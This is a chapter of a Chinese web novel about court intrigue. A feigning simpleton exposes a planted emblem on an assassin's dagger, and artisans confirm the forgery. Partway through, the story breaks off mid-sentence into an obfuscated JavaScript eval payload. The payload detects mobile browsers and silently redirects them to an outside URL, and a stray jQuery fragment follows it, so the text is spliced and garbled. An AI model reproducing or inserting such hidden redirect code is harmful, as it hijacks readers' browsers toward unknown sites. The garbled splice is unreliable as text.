第六十五章 傻子的指证

作品:《逼我去和亲,我称帝你哭什么?

    “别怕,告诉朕,昨夜那些黑衣人,你可曾看清他们的模样?”


    “或者,可曾听到他们说了些什么?”


    这个问题,问得极有技巧。


    既是安抚,也是盘问。


    王川石等一众文臣,眼中闪过一抹赞许。


    陛下这是要从源头,从唯一的目击者身上,寻找破绽。


    可,一个傻子,能记得什么?


    李显的身体抖得更厉害了,仿佛筛糠一般。


    他喉咙里发出“嗬嗬”的怪声,像是被扼住了脖子,半天说不出一句完整的话。


    他惊恐的眼神在殿中四处乱瞟,最后,忽地定格在殿中陈列证物的一张案几上。


    那里,静静地躺着一把从刺客身上搜出的**。


    **的护手上,镶嵌着一枚小小的,代表大胤皇室的狼头徽记。


    “啊!”


    李显突然发出一声尖叫,手指颤抖地指向那把**。


    所有人的目光,瞬间被吸引了过去。


    他像是看到了世上最可怕的东西,整个人几乎要瘫软下去,全靠慕容雪架着才没有倒下。


    眼泪鼻涕,糊了一脸。


    他带着浓重的哭腔,用一种颠三倒四,含糊不清的语调,开始胡言乱语。


    “黑衣服……”


    “说话说话好怪。”


    “叽里咕噜,听不懂。”


    他一边说,一边用手胡乱比划着,似乎在模仿什么。


    “像上次,在山里,追我们的坏人!说话一样!”


    轰!


    此言一出,犹如平地惊雷!


    殿中,瞬间死寂!


    山里?坏人?


    大部分官员都听得一头雾水。


    但上官婉,慕容雪,包括御座之上的月清瑶,凤眸皆是猛然一缩!


    她们瞬间就明白了李显指的是什么!


    榆阳关外,大燕国的那场伏击!


    刺客的口音,像大燕人?


    角落里,大燕使者那张挂着得体微笑的脸,在这一刻,僵住了。


    他捋着胡须的手,停在了半空。


    这傻子,在说什么胡话!


    然而,李显的表演,还没有结束。


    他似乎是被自己的话吓到了,又或是想起了什么更可怕的事情。


    他死死地盯着那把**上的狼头徽记,小脸上满是困惑与恐惧。


    “那个亮片片……”


    他伸出手指,隔空点了点那个徽记。


    “我见过,我在宫里的匠人那里见过。”


    “是后面粘上去的。”


    这几个字,虽然说得断断续续,含糊不清。


    却像一把重逾千钧的巨锤,狠狠地砸在了每一个人的心上!


    如果说,第一句话,是将矛头引向了第三方。


    那这第二句话,就是直接推翻了整起案件的根基!


    证物,是伪造的!


    是栽赃!


    这怎么可能!


    一个傻子,怎么可能看得出如此精密的伪装?


    他是在胡说?


    还是……


    一瞬间,无数道目光,全部聚焦在了那个还在瑟瑟发抖的身影上。


    李显仿佛耗尽了所有力气,嘴里还在无意识地念叨着。


    “粘上去的……粘上去的……”


    他的眼神却已经彻底涣散,似乎随时都会昏过去。


    很好,鱼饵,已经精准地抛进了这潭浑水。


    现在,就看你们怎么互相撕咬了。


    我这新婚之夜的大礼,才刚刚开始。


    “肃静!”


    一声清冷的叱喝,打破了这令人窒息的寂静。


    上官婉排众而出,快步走到殿中。


    她没有看任何人,而是对着女帝,深深一躬。


    “陛下!”


    她的声音,果决而有力。


    “安国君虽受惊过度,神志不清,但其所言,或为破案之关键!”


    “口音相似,物证可疑!”


    “臣,恳请陛下下旨!”


    上官婉抬起头,目光如电,直视着那把作为核心证物的**。


    “由刑部、大理寺、工部能工巧匠,三堂会审!”


    “重验此物!一寸一寸地验!一丝一毫地查!”


    “务必,要还安国君一个公道,还我大璃一个真相!”


    “准了。”


    月清瑶的声音不带一点温度,却比最锋利的刀刃更能穿透人心。


    “朕,要一个水落石出。”


    话音落下,她已转身,重新走向那至高无上的龙椅。


    每一步,都像是踩在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037146|178728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所有人的心脏上。


    威严,冷酷,不容置疑。


    太和殿的气氛,压抑到了极点。


    刑部,天牢深处。


    这里阴暗潮湿,空气中弥漫着血腥与腐朽的气味。


    但此刻,一间特意清空的密室之内,却灯火通明。


    慕容雪一身戎装,按剑而立,面沉如水。


    她的眼神,比这牢狱里的千年寒冰还要冷。


    在她面前,一张长案上,所有的证物被一一陈列。


    几名从工部、大理寺、太医院挑选出的顶尖人物,正屏息凝神,围着那把作为核心证物的**。


    为首的,是工部一位头发花白的老师傅。


    他浸淫铸造之术五十余年,一双手稳如磐石。


    他没有立刻上手,而是拿起一面琉璃镜,凑近了那枚狼头徽记,一寸一寸地仔细观察。


    时间,一分一秒地流逝。


    密室里,只剩下众人压抑的呼吸声。


    突然,老师傅的眉梢,忽地一挑。


    他放下琉璃镜,伸出布满老茧的食指,在那狼头徽记的边缘,轻轻一刮。


    一抹几乎看不见的,已经干涸的透明物质,被他刮了下来。


    他将那点东西捻了捻,凑到鼻尖闻了闻。


    “鱼鳔胶。”


    老师傅的声音沙哑,却斩钉截铁。


    “而且,是新胶。”


    他抬起头,看向慕容雪。


    “将军,这徽记与**护手的材质,虽都为百炼精钢,但磨损的痕迹,截然不同。”


    “**本身,刃口有细微的卷曲,柄身有常年握持留下的包浆,至少用了三年以上。”


    “但这狼头徽记,光亮如新,除了几道刻意伪造的划痕,几乎没有自然磨损的痕迹。”


    “它是用上好的鱼鳔胶,刚刚粘上去的。”


    栽赃嫁祸!


    慕容雪的眼中,寒芒一闪。


    另一边,一名老仵作,也得出了结论。


    他从被捕刺客的伤口中,用银针小心翼翼地挑出了一点点黑色的残余物。


    经过与不同毒物样本的比对,他的脸色变得异常凝重。


    “回禀将军,这伤口中残留的微毒,与您上次从榆阳关外带回的那支燕军**上的成分,同源同宗!”


    轰!